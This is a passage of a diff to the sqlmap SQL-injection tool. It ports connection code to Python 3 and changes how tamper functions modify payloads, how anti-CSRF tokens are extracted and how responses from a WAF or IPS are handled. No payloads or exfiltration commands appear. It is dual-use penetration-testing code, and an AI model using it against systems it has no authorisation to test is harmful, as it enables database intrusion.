page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
skipLogTraffic = kb.redirectChoice == REDIRECTION.NO skipLogTraffic = kb.redirectChoice == REDIRECTION.NO
code = conn.redcode code = conn.redcode if not finalCode else code
else: else:
page = Connect._connReadProxy(conn) if not skipRead else None page = Connect._connReadProxy(conn) if not skipRead else None
@@ -493,6 +506,7 @@ class Connect(object):
code = (code or conn.code) if conn.code == kb.originalCode else conn.code # do not override redirection code (for comparison purposes) code = (code or conn.code) if conn.code == kb.originalCode else conn.code # do not override redirection code (for comparison purposes)
responseHeaders = conn.info() responseHeaders = conn.info()
responseHeaders[URI_HTTP_HEADER] = conn.geturl() responseHeaders[URI_HTTP_HEADER] = conn.geturl()
kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
else: else:
code = None code = None
responseHeaders = {} responseHeaders = {}
@@ -543,11 +557,11 @@ class Connect(object):
if hasattr(conn.fp, '_sock'): if hasattr(conn.fp, '_sock'):
conn.fp._sock.close() conn.fp._sock.close()
conn.close() conn.close()
except Exception, ex: except Exception as ex:
warnMsg = "problem occurred during connection closing ('%s')" % getSafeExString(ex) warnMsg = "problem occurred during connection closing ('%s')" % getSafeExString(ex)
logger.warn(warnMsg) logger.warn(warnMsg)
except SqlmapConnectionException, ex: except SqlmapConnectionException as ex:
if conf.proxyList and not kb.threadException: if conf.proxyList and not kb.threadException:
warnMsg = "unable to connect to the target URL ('%s')" % ex warnMsg = "unable to connect to the target URL ('%s')" % ex
logger.critical(warnMsg) logger.critical(warnMsg)
@@ -556,7 +570,7 @@ class Connect(object):
else: else:
raise raise
except urllib2.HTTPError, ex: except urllib2.HTTPError as ex:
page = None page = None
responseHeaders = None responseHeaders = None
@@ -587,7 +601,7 @@ class Connect(object):
threadData.lastHTTPError = (threadData.lastRequestUID, code, status) threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1 kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1
responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, status) responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status)
if responseHeaders: if responseHeaders:
logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()]) logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
@@ -634,7 +648,7 @@ class Connect(object):
debugMsg = "got HTTP error code: %d (%s)" % (code, status) debugMsg = "got HTTP error code: %d (%s)" % (code, status)
logger.debug(debugMsg) logger.debug(debugMsg)
except (urllib2.URLError, socket.error, socket.timeout, httplib.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError): except (urllib2.URLError, socket.error, socket.timeout, httplib.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError):
tbMsg = traceback.format_exc() tbMsg = traceback.format_exc()
if checking: if checking:
@@ -646,7 +660,7 @@ class Connect(object):
warnMsg = "connection was forcibly closed by the target URL" warnMsg = "connection was forcibly closed by the target URL"
elif "timed out" in tbMsg: elif "timed out" in tbMsg:
if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED): if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is dropping 'suspicious' requests") singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests")
kb.droppingRequests = True kb.droppingRequests = True
warnMsg = "connection timed out to the target URL" warnMsg = "connection timed out to the target URL"
elif "Connection reset" in tbMsg: elif "Connection reset" in tbMsg:
@@ -655,7 +669,7 @@ class Connect(object):
conf.disablePrecon = True conf.disablePrecon = True
if kb.testMode: if kb.testMode:
singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is resetting 'suspicious' requests") singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests")
kb.droppingRequests = True kb.droppingRequests = True
warnMsg = "connection reset to the target URL" warnMsg = "connection reset to the target URL"
elif "URLError" in tbMsg or "error" in tbMsg: elif "URLError" in tbMsg or "error" in tbMsg:
@@ -718,7 +732,7 @@ class Connect(object):
else: else:
logger.debug(warnMsg) logger.debug(warnMsg)
return Connect._retryProxy(**kwargs) return Connect._retryProxy(**kwargs)
elif kb.testMode or kb.multiThreadMode: elif kb.testMode or isMultiThreadMode():
logger.critical(warnMsg) logger.critical(warnMsg)
return None, None, None return None, None, None
else: else:
@@ -746,7 +760,7 @@ class Connect(object):
responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, conn.code, status) responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, conn.code, status)
else: else:
responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, status) responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status)
if responseHeaders: if responseHeaders:
logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()]) logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
@@ -804,7 +818,7 @@ class Connect(object):
if conf.httpHeaders: if conf.httpHeaders:
headers = OrderedDict(conf.httpHeaders) headers = OrderedDict(conf.httpHeaders)
contentType = max(headers[_] if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else None for _ in headers.keys()) contentType = max(headers[_] if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else None for _ in headers)
if (kb.postHint or conf.skipUrlEncode) and postUrlEncode: if (kb.postHint or conf.skipUrlEncode) and postUrlEncode:
postUrlEncode = False postUrlEncode = False
@@ -813,11 +827,15 @@ class Connect(object):
conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType)) conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType))
if payload: if payload:
delimiter = conf.paramDel or (DEFAULT_GET_POST_DELIMITER if place != PLACE.COOKIE else DEFAULT_COOKIE_DELIMITER)
if not disableTampering and kb.tamperFunctions: if not disableTampering and kb.tamperFunctions:
for function in kb.tamperFunctions: for function in kb.tamperFunctions:
hints = {}
try: try:
payload = function(payload=payload, headers=auxHeaders) payload = function(payload=payload, headers=auxHeaders, delimiter=delimiter, hints=hints)
except Exception, ex: except Exception as ex:
errMsg = "error occurred while running tamper " errMsg = "error occurred while running tamper "
errMsg += "function '%s' ('%s')" % (function.func_name, getSafeExString(ex)) errMsg += "function '%s' ('%s')" % (function.func_name, getSafeExString(ex))
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
@@ -829,6 +847,18 @@ class Connect(object):
value = agent.replacePayload(value, payload) value = agent.replacePayload(value, payload)
if hints:
if HINT.APPEND in hints:
value = "%s%s%s" % (value, delimiter, hints[HINT.APPEND])
if HINT.PREPEND in hints:
if place == PLACE.URI:
match = re.search(r"\w+\s*=\s*%s" % PAYLOAD_DELIMITER, value) or re.search(r"[^?%s/]=\s*%s" % (re.escape(delimiter), PAYLOAD_DELIMITER), value)
if match:
value = value.replace(match.group(0), "%s%s%s" % (hints[HINT.PREPEND], delimiter, match.group(0)))
else:
value = "%s%s%s" % (hints[HINT.PREPEND], delimiter, value)
logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload.replace('\\', BOUNDARY_BACKSLASH_MARKER)).replace(BOUNDARY_BACKSLASH_MARKER, '\\')) logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload.replace('\\', BOUNDARY_BACKSLASH_MARKER)).replace(BOUNDARY_BACKSLASH_MARKER, '\\'))
if place == PLACE.CUSTOM_POST and kb.postHint: if place == PLACE.CUSTOM_POST and kb.postHint:
@@ -845,10 +875,10 @@ class Connect(object):
value = agent.replacePayload(value, payload) value = agent.replacePayload(value, payload)
else: else:
# GET, POST, URI and Cookie payload needs to be thoroughly URL encoded # GET, POST, URI and Cookie payload needs to be thoroughly URL encoded
if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and postUrlEncode: if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper()) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and postUrlEncode:
skip = False skip = False
if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE: if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper():
if kb.cookieEncodeChoice is None: if kb.cookieEncodeChoice is None:
msg = "do you want to URL encode cookie values (implementation specific)? %s" % ("[Y/n]" if not conf.url.endswith(".aspx") else "[y/N]") # Reference: https://support.microsoft.com/en-us/kb/313282 msg = "do you want to URL encode cookie values (implementation specific)? %s" % ("[Y/n]" if not conf.url.endswith(".aspx") else "[y/N]") # Reference: https://support.microsoft.com/en-us/kb/313282
kb.cookieEncodeChoice = readInput(msg, default='Y' if not conf.url.endswith(".aspx") else 'N', boolean=True) kb.cookieEncodeChoice = readInput(msg, default='Y' if not conf.url.endswith(".aspx") else 'N', boolean=True)
@@ -863,7 +893,7 @@ class Connect(object):
postUrlEncode = False postUrlEncode = False
if conf.hpp: if conf.hpp:
if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_API.ASP, WEB_API.ASPX)): if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_PLATFORM.ASP, WEB_PLATFORM.ASPX)):
warnMsg = "HTTP parameter pollution should work only against " warnMsg = "HTTP parameter pollution should work only against "
warnMsg += "ASP(.NET) targets" warnMsg += "ASP(.NET) targets"
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
@@ -935,71 +965,85 @@ class Connect(object):
if conf.csrfToken: if conf.csrfToken:
def _adjustParameter(paramString, parameter, newValue): def _adjustParameter(paramString, parameter, newValue):
retVal = paramString retVal = paramString
match = re.search(r"%s=[^&]*" % re.escape(parameter), paramString) match = re.search(r"%s=[^&]*" % re.escape(parameter), paramString, re.I)
if match: if match:
retVal = re.sub(re.escape(match.group(0)), "%s=%s" % (parameter, newValue), paramString) retVal = re.sub("(?i)%s" % re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString)
else: else:
match = re.search(r"(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString) match = re.search(r"(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString, re.I)
if match: if match:
retVal = re.sub(re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString) retVal = re.sub("(?i)%s" % re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString)
return retVal return retVal
token = AttribDict()
page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
token = extractRegexResult(r"(?i)<input[^>]+\bname=[\"']?%s[\"']?[^>]*\bvalue=(?P<result>(\"([^\"]+)|'([^']+)|([^ >]+)))" % re.escape(conf.csrfToken), page or "") match = re.search(r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken, page or "", re.I)
if not match:
match = re.search(r"(?i)<input[^>]+\bvalue=[\"']?(?P<value>[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P<name>%s)\b" % conf.csrfToken, page or "", re.I)
if not match:
match = re.search(r"(?P<name>%s)[\"']:[\"'](?P<value>[^\"']+)" % conf.csrfToken, page or "", re.I)
if not match:
match = re.search(r"\b(?P<name>%s)\s*[:=]\s*(?P<value>\w+)" % conf.csrfToken, str(headers), re.I)
if not match:
match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken, page or "", re.I)
if match:
token.name, token.value = match.group("name"), match.group("value")
match = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token.value)
if match:
token.value = "".join(chr(int(_)) for _ in match.group(1).replace(' ', "").split(','))
if not token: if not token:
token = extractRegexResult(r"(?i)<input[^>]+\bvalue=(?P<result>(\"([^\"]+)|'([^']+)|([^ >]+)))[^>]+\bname=[\"']?%s[\"']?" % re.escape(conf.csrfToken), page or "") if conf.csrfUrl and conf.csrfToken and conf.csrfUrl != conf.url and code == httplib.OK:
if not token:
match = re.search(r"%s[\"']:[\"']([^\"']+)" % re.escape(conf.csrfToken), page or "")
token = match.group(1) if match else None
if not token:
if conf.csrfUrl != conf.url and code == httplib.OK:
if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""): if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""):
token = page token.name = conf.csrfToken
token.value = page
if not token and conf.cj and any(_.name == conf.csrfToken for _ in conf.cj): if not token and conf.cj and any(re.search(conf.csrfToken, _.name, re.I) for _ in conf.cj):
for _ in conf.cj: for _ in conf.cj:
if _.name == conf.csrfToken: if re.search(conf.csrfToken, _.name, re.I):
token = _.value token.name, token.value = _.name, _.value
if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))): if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))):
if post: if post:
post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, conf.csrfToken, token) post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
elif get: elif get:
get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, conf.csrfToken, token) get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
else: else:
get = "%s=%s" % (conf.csrfToken, token) get = "%s=%s" % (token.name, token.value)
break break
if not token: if not token:
errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken, conf.csrfUrl or conf.url) errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url)
if not conf.csrfUrl: if not conf.csrfUrl:
errMsg += ". You can try to rerun by providing " errMsg += ". You can try to rerun by providing "
errMsg += "a valid value for option '--csrf-url'" errMsg += "a valid value for option '--csrf-url'"
raise SqlmapTokenException(errMsg) raise SqlmapTokenException(errMsg)
if token: if token:
token = token.strip("'\"") token.value = token.value.strip("'\"")
for place in (PLACE.GET, PLACE.POST): for place in (PLACE.GET, PLACE.POST):
if place in conf.parameters: if place in conf.parameters:
if place == PLACE.GET and get: if place == PLACE.GET and get:
get = _adjustParameter(get, conf.csrfToken, token) get = _adjustParameter(get, token.name, token.value)
elif place == PLACE.POST and post: elif place == PLACE.POST and post:
post = _adjustParameter(post, conf.csrfToken, token) post = _adjustParameter(post, token.name, token.value)
for i in xrange(len(conf.httpHeaders)): for i in xrange(len(conf.httpHeaders)):
if conf.httpHeaders[i][0].lower() == conf.csrfToken.lower(): if conf.httpHeaders[i][0].lower() == token.name.lower():
conf.httpHeaders[i] = (conf.httpHeaders[i][0], token) conf.httpHeaders[i] = (conf.httpHeaders[i][0], token.value)
if conf.rParam: if conf.rParam:
def _randomizeParameter(paramString, randomParameter): def _randomizeParameter(paramString, randomParameter):
retVal = paramString retVal = paramString
match = re.search(r"(\A|\b)%s=(?P<value>[^&;]+)" % re.escape(randomParameter), paramString) match = re.search(r"(\A|\b)%s=(?P<value>[^&;]*)" % re.escape(randomParameter), paramString)
if match: if match:
origValue = match.group("value") origValue = match.group("value")
retVal = re.sub(r"(\A|\b)%s=[^&;]+" % re.escape(randomParameter), "%s=%s" % (randomParameter, randomizeParameterValue(origValue)), paramString) retVal = re.sub(r"(\A|\b)%s=[^&;]*" % re.escape(randomParameter), "%s=%s" % (randomParameter, randomizeParameterValue(origValue)), paramString)
return retVal return retVal
for randomParameter in conf.rParam: for randomParameter in conf.rParam:
@@ -1054,7 +1098,7 @@ class Connect(object):
while True: while True:
try: try:
compiler.parse(unicodeencode(conf.evalCode.replace(';', '\n'))) compiler.parse(unicodeencode(conf.evalCode.replace(';', '\n')))
except SyntaxError, ex: except SyntaxError as ex:
if ex.text: if ex.text:
original = replacement = ex.text.strip() original = replacement = ex.text.strip()
if '=' in original: if '=' in original:
@@ -1082,7 +1126,7 @@ class Connect(object):
originals.update(variables) originals.update(variables)
evaluateCode(conf.evalCode, variables) evaluateCode(conf.evalCode, variables)
for variable in variables.keys(): for variable in list(variables.keys()):
if variable.endswith(EVALCODE_KEYWORD_SUFFIX): if variable.endswith(EVALCODE_KEYWORD_SUFFIX):
value = variables[variable] value = variables[variable]
del variables[variable] del variables[variable]
@@ -1217,14 +1261,17 @@ class Connect(object):
_, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ)) _, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ))
if headers: if headers:
if kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ) and headers.get(HTTP_HEADER.CONTENT_LENGTH): try:
pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH]) if kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ) and headers.get(HTTP_HEADER.CONTENT_LENGTH):
elif kb.nullConnection == NULLCONNECTION.RANGE and headers.get(HTTP_HEADER.CONTENT_RANGE): pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0])
pageLength = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:]) elif kb.nullConnection == NULLCONNECTION.RANGE and headers.get(HTTP_HEADER.CONTENT_RANGE):
pageLength = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:])
except ValueError:
pass
finally: finally:
kb.pageCompress = popValue() kb.pageCompress = popValue()
if not pageLength: if pageLength is None:
try: try:
page, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare) page, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare)
except MemoryError: except MemoryError:
@@ -1232,13 +1279,20 @@ class Connect(object):
warnMsg = "site returned insanely large response" warnMsg = "site returned insanely large response"
if kb.testMode: if kb.testMode:
warnMsg += " in testing phase. This is a common " warnMsg += " in testing phase. This is a common "
warnMsg += "behavior in custom WAF/IPS/IDS solutions" warnMsg += "behavior in custom WAF/IPS solutions"
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
if conf.secondUrl: if conf.secondUrl:
page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
elif kb.secondReq: elif kb.secondReq and IPS_WAF_CHECK_PAYLOAD not in urllib.unquote(value or ""):
page, headers, code = Connect.getPage(url=kb.secondReq[0], post=kb.secondReq[2], method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) def _(value):
if kb.customInjectionMark in (value or ""):
if payload is None:
value = value.replace(kb.customInjectionMark, "")
else:
value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value)
return value
page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
threadData.lastQueryDuration = calculateDeltaSeconds(start) threadData.lastQueryDuration = calculateDeltaSeconds(start)
threadData.lastPage = page threadData.lastPage = page
@@ -1254,6 +1308,8 @@ class Connect(object):
elif noteResponseTime: elif noteResponseTime:
kb.responseTimes.setdefault(kb.responseTimeMode, []) kb.responseTimes.setdefault(kb.responseTimeMode, [])
kb.responseTimes[kb.responseTimeMode].append(threadData.lastQueryDuration) kb.responseTimes[kb.responseTimeMode].append(threadData.lastQueryDuration)
if len(kb.responseTimes[kb.responseTimeMode]) > MAX_TIME_RESPONSES:
kb.responseTimes[kb.responseTimeMode] = kb.responseTimes[kb.responseTimeMode][-MAX_TIME_RESPONSES // 2:]
if not response and removeReflection: if not response and removeReflection:
page = removeReflectiveValues(page, payload) page = removeReflectiveValues(page, payload)
+3 -2
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -25,6 +25,7 @@ from lib.core.enums import CUSTOM_LOGGING
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.core.enums import EXPECTED from lib.core.enums import EXPECTED
from lib.core.enums import TIMEOUT_STATE from lib.core.enums import TIMEOUT_STATE
from lib.core.settings import TAKEOVER_TABLE_PREFIX
from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNICODE_ENCODING
from lib.utils.timeout import timeout from lib.utils.timeout import timeout
@@ -53,7 +54,7 @@ def direct(query, content=True):
if not select and "EXEC " not in query.upper(): if not select and "EXEC " not in query.upper():
timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None) timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None)
elif not (output and "sqlmapoutput" not in query and "sqlmapfile" not in query): elif not (output and ("%soutput" % TAKEOVER_TABLE_PREFIX) not in query and ("%sfile" % TAKEOVER_TABLE_PREFIX) not in query):
output, state = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None) output, state = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None)
if state == TIMEOUT_STATE.NORMAL: if state == TIMEOUT_STATE.NORMAL:
hashDBWrite(query, output, True) hashDBWrite(query, output, True)
+6 -4
View File
@@ -1,10 +1,12 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
from __future__ import print_function
import os import os
import re import re
import socket import socket
@@ -145,13 +147,13 @@ if __name__ == "__main__":
if _ is None: if _ is None:
break break
else: else:
print "[i] %s" % _ print("[i] %s" % _)
time.sleep(1) time.sleep(1)
except socket.error, ex: except socket.error as ex:
if 'Permission' in str(ex): if 'Permission' in str(ex):
print "[x] Please run with sudo/Administrator privileges" print("[x] Please run with sudo/Administrator privileges")
else: else:
raise raise
except KeyboardInterrupt: except KeyboardInterrupt:
+3 -3
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -63,7 +63,7 @@ class HTTPSConnection(httplib.HTTPSConnection):
break break
else: else:
sock.close() sock.close()
except (ssl.SSLError, socket.error, httplib.BadStatusLine), ex: except (ssl.SSLError, socket.error, httplib.BadStatusLine) as ex:
self._tunnel_host = None self._tunnel_host = None
logger.debug("SSL connection error occurred ('%s')" % getSafeExString(ex)) logger.debug("SSL connection error occurred ('%s')" % getSafeExString(ex))
@@ -83,7 +83,7 @@ class HTTPSConnection(httplib.HTTPSConnection):
break break
else: else:
sock.close() sock.close()
except (ssl.SSLError, socket.error, httplib.BadStatusLine), ex: except (ssl.SSLError, socket.error, httplib.BadStatusLine) as ex:
self._tunnel_host = None self._tunnel_host = None
logger.debug("SSL connection error occurred ('%s')" % getSafeExString(ex)) logger.debug("SSL connection error occurred ('%s')" % getSafeExString(ex))
+11 -4
View File
@@ -1,10 +1,12 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
from __future__ import print_function
import re import re
import time import time
@@ -277,7 +279,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
raise SqlmapDataException(errMsg) raise SqlmapDataException(errMsg)
except KeyboardInterrupt: except KeyboardInterrupt:
print print()
warnMsg = "user aborted during dumping phase" warnMsg = "user aborted during dumping phase"
logger.warn(warnMsg) logger.warn(warnMsg)
@@ -344,8 +346,13 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
affected parameter. affected parameter.
""" """
if conf.hexConvert: if conf.hexConvert and expected != EXPECTED.BOOL and Backend.getIdentifiedDbms():
charsetType = CHARSET_TYPE.HEXADECIMAL if not hasattr(queries[Backend.getIdentifiedDbms()], "hex"):
warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms()
singleTimeWarnMessage(warnMsg)
conf.hexConvert = False
else:
charsetType = CHARSET_TYPE.HEXADECIMAL
kb.safeCharEncode = safeCharEncode kb.safeCharEncode = safeCharEncode
kb.resumeValues = resumeValue kb.resumeValues = resumeValue
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+2 -2
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -24,7 +24,7 @@ class HTTPSPKIAuthHandler(urllib2.HTTPSHandler):
try: try:
# Reference: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain # Reference: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain
return httplib.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=conf.timeout) return httplib.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=conf.timeout)
except IOError, ex: except IOError as ex:
errMsg = "error occurred while using key " errMsg = "error occurred while using key "
errMsg += "file '%s' ('%s')" % (self.auth_file, getSafeExString(ex)) errMsg += "file '%s' ('%s')" % (self.auth_file, getSafeExString(ex))
raise SqlmapConnectionException(errMsg) raise SqlmapConnectionException(errMsg)
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+7 -6
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -16,6 +16,7 @@ from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
